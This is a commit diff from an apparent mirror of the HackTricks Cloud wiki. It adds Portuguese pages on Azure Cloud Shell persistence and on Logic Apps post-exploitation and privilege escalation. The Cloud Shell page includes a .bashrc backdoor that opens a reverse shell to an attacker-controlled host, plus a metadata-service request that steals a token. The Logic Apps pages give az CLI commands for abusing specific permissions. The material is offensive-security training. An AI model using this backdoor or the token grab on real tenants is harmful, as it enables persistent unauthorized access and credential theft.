mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 11:07:37 -08:00
Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud
This commit is contained in:
@@ -409,6 +409,7 @@
|
|||||||
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
|
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
|
||||||
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
|
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
|
||||||
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
|
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
|
||||||
|
- [Az - Cloud Shell](pentesting-cloud/azure-security/az-services/az-cloud-shell.md)
|
||||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
|
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
|
||||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md)
|
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md)
|
||||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
|
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
|
||||||
@@ -452,6 +453,7 @@
|
|||||||
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
|
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
|
||||||
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
|
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
|
||||||
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
|
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
|
||||||
|
- [Az - Logic Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md)
|
||||||
- [Az - MySQL](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md)
|
- [Az - MySQL](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md)
|
||||||
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md)
|
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md)
|
||||||
- [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md)
|
- [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md)
|
||||||
@@ -471,6 +473,7 @@
|
|||||||
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
|
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
|
||||||
- [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
|
- [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
|
||||||
- [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
|
- [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
|
||||||
|
- [Az - Logic Apps Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md)
|
||||||
- [Az - MySQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md)
|
- [Az - MySQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md)
|
||||||
- [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md)
|
- [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md)
|
||||||
- [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
|
- [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
|
||||||
@@ -480,6 +483,7 @@
|
|||||||
- [Az - SQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md)
|
- [Az - SQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md)
|
||||||
- [Az - Virtual Machines & Network Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md)
|
- [Az - Virtual Machines & Network Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md)
|
||||||
- [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md)
|
- [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md)
|
||||||
|
- [Az - Cloud Shell Persistence](pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md)
|
||||||
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md)
|
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md)
|
||||||
- [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md)
|
- [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md)
|
||||||
- [Az - Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md)
|
- [Az - Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md)
|
||||||
|
|||||||
@@ -0,0 +1,56 @@
|
|||||||
|
# Az - Cloud Shell Persistence
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||||
|
Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Supporte o HackTricks</summary>
|
||||||
|
|
||||||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
## Persistência do Cloud Shell
|
||||||
|
|
||||||
|
O Azure Cloud Shell oferece acesso à linha de comando para gerenciar recursos do Azure com armazenamento persistente e autenticação automática. Os atacantes podem explorar isso colocando backdoors no diretório home persistente:
|
||||||
|
|
||||||
|
* **Armazenamento Persistente**: O diretório home do Azure Cloud Shell é montado em um compartilhamento de arquivos do Azure e permanece intacto mesmo após o término da sessão.
|
||||||
|
* **Scripts de Inicialização**: Arquivos como .bashrc são executados automaticamente no início de cada sessão, permitindo a execução persistente quando o cloud shell é iniciado.
|
||||||
|
|
||||||
|
Exemplo de backdoor em .bashrc:
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
Este backdoor pode executar comandos mesmo 5 minutos após o shell da nuvem ser finalizado pelo usuário.
|
||||||
|
|
||||||
|
Além disso, consulte o serviço de metadados do Azure para detalhes da instância e tokens:
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||||
|
Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Supporte o HackTricks</summary>
|
||||||
|
|
||||||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
@@ -0,0 +1,181 @@
|
|||||||
|
# Az - Logic Apps Pós Exploração
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||||
|
Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Supporte o HackTricks</summary>
|
||||||
|
|
||||||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
## Banco de Dados de Logic Apps Pós Exploração
|
||||||
|
Para mais informações sobre logic apps, confira:
|
||||||
|
|
||||||
|
{% content-ref url="../az-services/az-logic-apps.md" %}
|
||||||
|
[az-logic-apps.md](../az-services/az-logic-apps.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
|
||||||
|
Com essas permissões, você pode modificar fluxos de trabalho do Logic App e gerenciar suas identidades. Especificamente, você pode atribuir ou remover identidades gerenciadas atribuídas pelo sistema e por usuários aos fluxos de trabalho, o que permite que o Logic App autentique e acesse outros recursos do Azure sem credenciais explícitas.
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
az logic workflow identity remove/assign \
|
||||||
|
--name <workflow_name> \
|
||||||
|
--resource-group <resource_group_name> \
|
||||||
|
--system-assigned true \
|
||||||
|
--user-assigned "/subscriptions/<subscription_id>/resourceGroups/<resource_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<identity_name>"
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write"
|
||||||
|
Com essas permissões, você pode criar ou atualizar Logic Apps hospedadas em um App Service Plan. Isso inclui modificar configurações, como habilitar ou desabilitar a aplicação forçada de HTTPS.
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
az logicapp update \
|
||||||
|
--resource-group <resource_group_name> \
|
||||||
|
--name <logic_app_name> \
|
||||||
|
--set httpsOnly=false
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action"
|
||||||
|
Com esta permissão, você pode iniciar/parar/reiniciar um aplicativo web, incluindo Logic Apps hospedadas em um App Service Plan. Esta ação garante que um aplicativo que foi parado anteriormente seja colocado online e retome sua funcionalidade. Isso pode interromper fluxos de trabalho, acionar operações não intencionais ou causar tempo de inatividade ao iniciar, parar ou reiniciar Logic Apps inesperadamente.
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
az webapp start/stop/restart \
|
||||||
|
--name <logic_app_name> \
|
||||||
|
--resource-group <resource_group_name>
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
|
||||||
|
### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write"
|
||||||
|
|
||||||
|
Com esta permissão, você pode configurar ou modificar as configurações para aplicativos da web, incluindo Logic Apps hospedados em um App Service Plan. Isso permite alterações nas configurações do aplicativo, strings de conexão, configurações de autenticação e mais.
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
az logicapp config appsettings set \
|
||||||
|
--name <logic_app_name> \
|
||||||
|
--resource-group <resource_group_name> \
|
||||||
|
--settings "<key>=<value>"
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
### "Microsoft.Logic/integrationAccounts/write"
|
||||||
|
Com esta permissão, você pode criar, atualizar ou excluir contas de integração do Azure Logic Apps. Isso inclui gerenciar configurações de nível de conta de integração, como mapas, esquemas, parceiros, acordos e mais.
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
az logic integration-account create \
|
||||||
|
--resource-group <resource_group_name> \
|
||||||
|
--name <integration_account_name> \
|
||||||
|
--location <location> \
|
||||||
|
--sku <Standard|Free> \
|
||||||
|
--state Enabled
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write"
|
||||||
|
|
||||||
|
Com esta permissão, você pode criar ou modificar configurações de lote dentro de uma conta de integração do Azure Logic Apps. As configurações de lote definem como o Logic Apps processa e agrupa mensagens recebidas para processamento em lote.
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
az logic integration-account batch-configuration create \
|
||||||
|
--resource-group <resource_group_name> \
|
||||||
|
--integration-account-name <integration_account_name> \
|
||||||
|
--name <batch_configuration_name> \
|
||||||
|
--release-criteria '{
|
||||||
|
"messageCount": 100,
|
||||||
|
"batchSize": 1048576,
|
||||||
|
}'
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write"
|
||||||
|
Com esta permissão, você pode criar ou modificar mapas dentro de uma conta de integração do Azure Logic Apps. Os mapas são usados para transformar dados de um formato para outro, permitindo uma integração perfeita entre diferentes sistemas e aplicações.
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
az logic integration-account map create \
|
||||||
|
--resource-group <resource_group_name> \
|
||||||
|
--integration-account-name <integration_account_name> \
|
||||||
|
--name <map_name> \
|
||||||
|
--map-type <Xslt|Xslt20|Xslt30> \
|
||||||
|
--content-type application/xml \
|
||||||
|
--map-content map-content.xslt
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write"
|
||||||
|
Com esta permissão, você pode criar ou modificar parceiros em uma conta de integração do Azure Logic Apps. Parceiros representam entidades ou sistemas que participam de fluxos de trabalho de negócios para negócios (B2B).
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
az logic integration-account partner create \
|
||||||
|
--resource-group <resource_group_name> \
|
||||||
|
--integration-account-name <integration_account_name> \
|
||||||
|
--name <partner_name> \
|
||||||
|
--partner-type <partner-type> \
|
||||||
|
--content '{
|
||||||
|
"b2b": {
|
||||||
|
"businessIdentities": [
|
||||||
|
{
|
||||||
|
"qualifier": "ZZ",
|
||||||
|
"value": "TradingPartner1"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
}'
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write"
|
||||||
|
Com esta permissão, você pode criar ou modificar sessões dentro de uma conta de integração do Azure Logic Apps. As sessões são usadas em fluxos de trabalho B2B para agrupar mensagens e rastrear transações relacionadas ao longo de um período definido.
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
az logic integration-account session create \
|
||||||
|
--resource-group <resource_group_name> \
|
||||||
|
--integration-account-name <integration_account_name> \
|
||||||
|
--name <session_name> \
|
||||||
|
--content '{
|
||||||
|
"properties": {
|
||||||
|
"sessionId": "session123",
|
||||||
|
"data": {
|
||||||
|
"key1": "value1",
|
||||||
|
"key2": "value2"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}'
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
### "*/delete"
|
||||||
|
Com essas permissões, você pode excluir recursos relacionados ao Azure Logic Apps
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||||
|
Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
@@ -0,0 +1,77 @@
|
|||||||
|
# Az - Logic Apps Privesc
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||||
|
Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
## Logic Apps Privesc
|
||||||
|
Para mais informações sobre SQL Database, confira:
|
||||||
|
|
||||||
|
{% content-ref url="../az-services/az-logic-apps.md" %}
|
||||||
|
[az-logic-apps.md](../az-services/az-logic-apps.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action")
|
||||||
|
|
||||||
|
Com esta permissão, você pode criar ou atualizar, Azure Logic Apps workflows. Workflows definem processos automatizados e integrações entre vários sistemas e serviços.
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
az logic workflow create \
|
||||||
|
--resource-group <resource_group_name> \
|
||||||
|
--name <workflow_name> \
|
||||||
|
--definition <workflow_definition_file.json> \
|
||||||
|
--location <location>
|
||||||
|
|
||||||
|
az logic workflow update \
|
||||||
|
--name my-new-workflow \
|
||||||
|
--resource-group logicappgroup \
|
||||||
|
--definition <workflow_definition_file.json>
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
E após alterá-lo, você pode executá-lo com:
|
||||||
|
```bash
|
||||||
|
az rest \
|
||||||
|
--method post \
|
||||||
|
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourcegroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/run?api-version=2016-10-01" \
|
||||||
|
--body '{}' \
|
||||||
|
--headers "Content-Type=application/json"
|
||||||
|
```
|
||||||
|
### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action")
|
||||||
|
Com essas permissões, você pode implantar fluxos de trabalho do Logic App usando implantações de arquivos ZIP. Essas permissões permitem ações como ler detalhes do aplicativo, acessar credenciais de publicação, escrever alterações e listar configurações do aplicativo. Juntamente com as permissões de início, você pode atualizar e implantar um novo Logic App com o conteúdo desejado
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
az logicapp deployment source config-zip \
|
||||||
|
--name <logic_app_name> \
|
||||||
|
--resource-group <resource_group_name> \
|
||||||
|
--src <path_to_zip_file>
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||||
|
Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Supporte o HackTricks</summary>
|
||||||
|
|
||||||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
@@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## Informações Básicas do App Service
|
## Informações Básicas do App Service
|
||||||
|
|
||||||
Azure App Services permite que os desenvolvedores **construam, implantem e escalem aplicações web, backends de aplicativos móveis e APIs de forma integrada**. Ele suporta várias linguagens de programação e se integra a diversas ferramentas e serviços do Azure para funcionalidade e gerenciamento aprimorados.
|
O Azure App Services permite que os desenvolvedores **construam, implantem e escalem aplicativos web, backends de aplicativos móveis e APIs de forma contínua**. Ele suporta várias linguagens de programação e se integra a várias ferramentas e serviços do Azure para funcionalidade e gerenciamento aprimorados.
|
||||||
|
|
||||||
Cada aplicativo é executado dentro de um sandbox, mas a isolação depende dos planos do App Service:
|
Cada aplicativo é executado dentro de um sandbox, mas a isolação depende dos planos do App Service:
|
||||||
|
|
||||||
@@ -13,50 +13,50 @@ Cada aplicativo é executado dentro de um sandbox, mas a isolação depende dos
|
|||||||
- Os níveis Isolated são executados em **VMs dedicadas em redes virtuais dedicadas**, melhorando a isolação dos aplicativos.
|
- Os níveis Isolated são executados em **VMs dedicadas em redes virtuais dedicadas**, melhorando a isolação dos aplicativos.
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Note que **nenhuma** dessas isolamentos **previne** outras **vulnerabilidades web** comuns (como upload de arquivos ou injeções). E se uma **identidade de gerenciamento** for usada, ela pode ser capaz de **escalar privilégios para elas**.
|
> Observe que **nenhuma** dessas isolamentos **previne** outras **vulnerabilidades web** comuns (como upload de arquivos ou injeções). E se uma **identidade de gerenciamento** for usada, ela pode ser capaz de **escalar privilégios para elas**.
|
||||||
|
|
||||||
Os aplicativos têm algumas configurações interessantes:
|
Os aplicativos têm algumas configurações interessantes:
|
||||||
|
|
||||||
- **Always On**: Garante que o aplicativo esteja sempre em execução. Se não estiver habilitado, o aplicativo parará de funcionar após 20 minutos de inatividade e reiniciará quando uma solicitação for recebida.
|
- **Always On**: Garante que o aplicativo esteja sempre em execução. Se não estiver habilitado, o aplicativo parará de funcionar após 20 minutos de inatividade e será reiniciado quando uma solicitação for recebida.
|
||||||
- Isso é essencial se você tiver um webjob que precisa ser executado continuamente, pois o webjob parará se o aplicativo parar.
|
- Isso é essencial se você tiver um webjob que precisa ser executado continuamente, pois o webjob parará se o aplicativo parar.
|
||||||
- **SSH**: Se habilitado, um usuário com permissões suficientes pode se conectar ao aplicativo usando SSH.
|
- **SSH**: Se habilitado, um usuário com permissões suficientes pode se conectar ao aplicativo usando SSH.
|
||||||
- **Debugging**: Se habilitado, um usuário com permissões suficientes pode depurar o aplicativo. No entanto, isso é desativado automaticamente a cada 48h.
|
- **Depuração**: Se habilitado, um usuário com permissões suficientes pode depurar o aplicativo. No entanto, isso é desativado automaticamente a cada 48h.
|
||||||
- **Web App + Database**: O console web permite criar um App com um banco de dados. Nesse caso, é possível selecionar o banco de dados a ser usado (SQLAzure, PostgreSQL, MySQL, MongoDB) e também permite criar um Azure Cache para Redis.
|
- **Web App + Banco de Dados**: O console web permite criar um App com um banco de dados. Nesse caso, é possível selecionar o banco de dados a ser usado (SQLAzure, PostgreSQL, MySQL, MongoDB) e também permite criar um Azure Cache para Redis.
|
||||||
- A URL contendo as credenciais para o banco de dados e Redis será armazenada nas **appsettings**.
|
- A URL contendo as credenciais para o banco de dados e Redis será armazenada nas **appsettings**.
|
||||||
- **Container**: É possível implantar um container no App Service indicando a URL do container e as credenciais para acessá-lo.
|
- **Container**: É possível implantar um container no App Service indicando a URL do container e as credenciais para acessá-lo.
|
||||||
- **Mounts**: É possível criar 5 mounts a partir de contas de armazenamento, sendo estas Azure Blob (Somente Leitura) ou Azure Files. A configuração armazenará a chave de acesso sobre a Conta de Armazenamento.
|
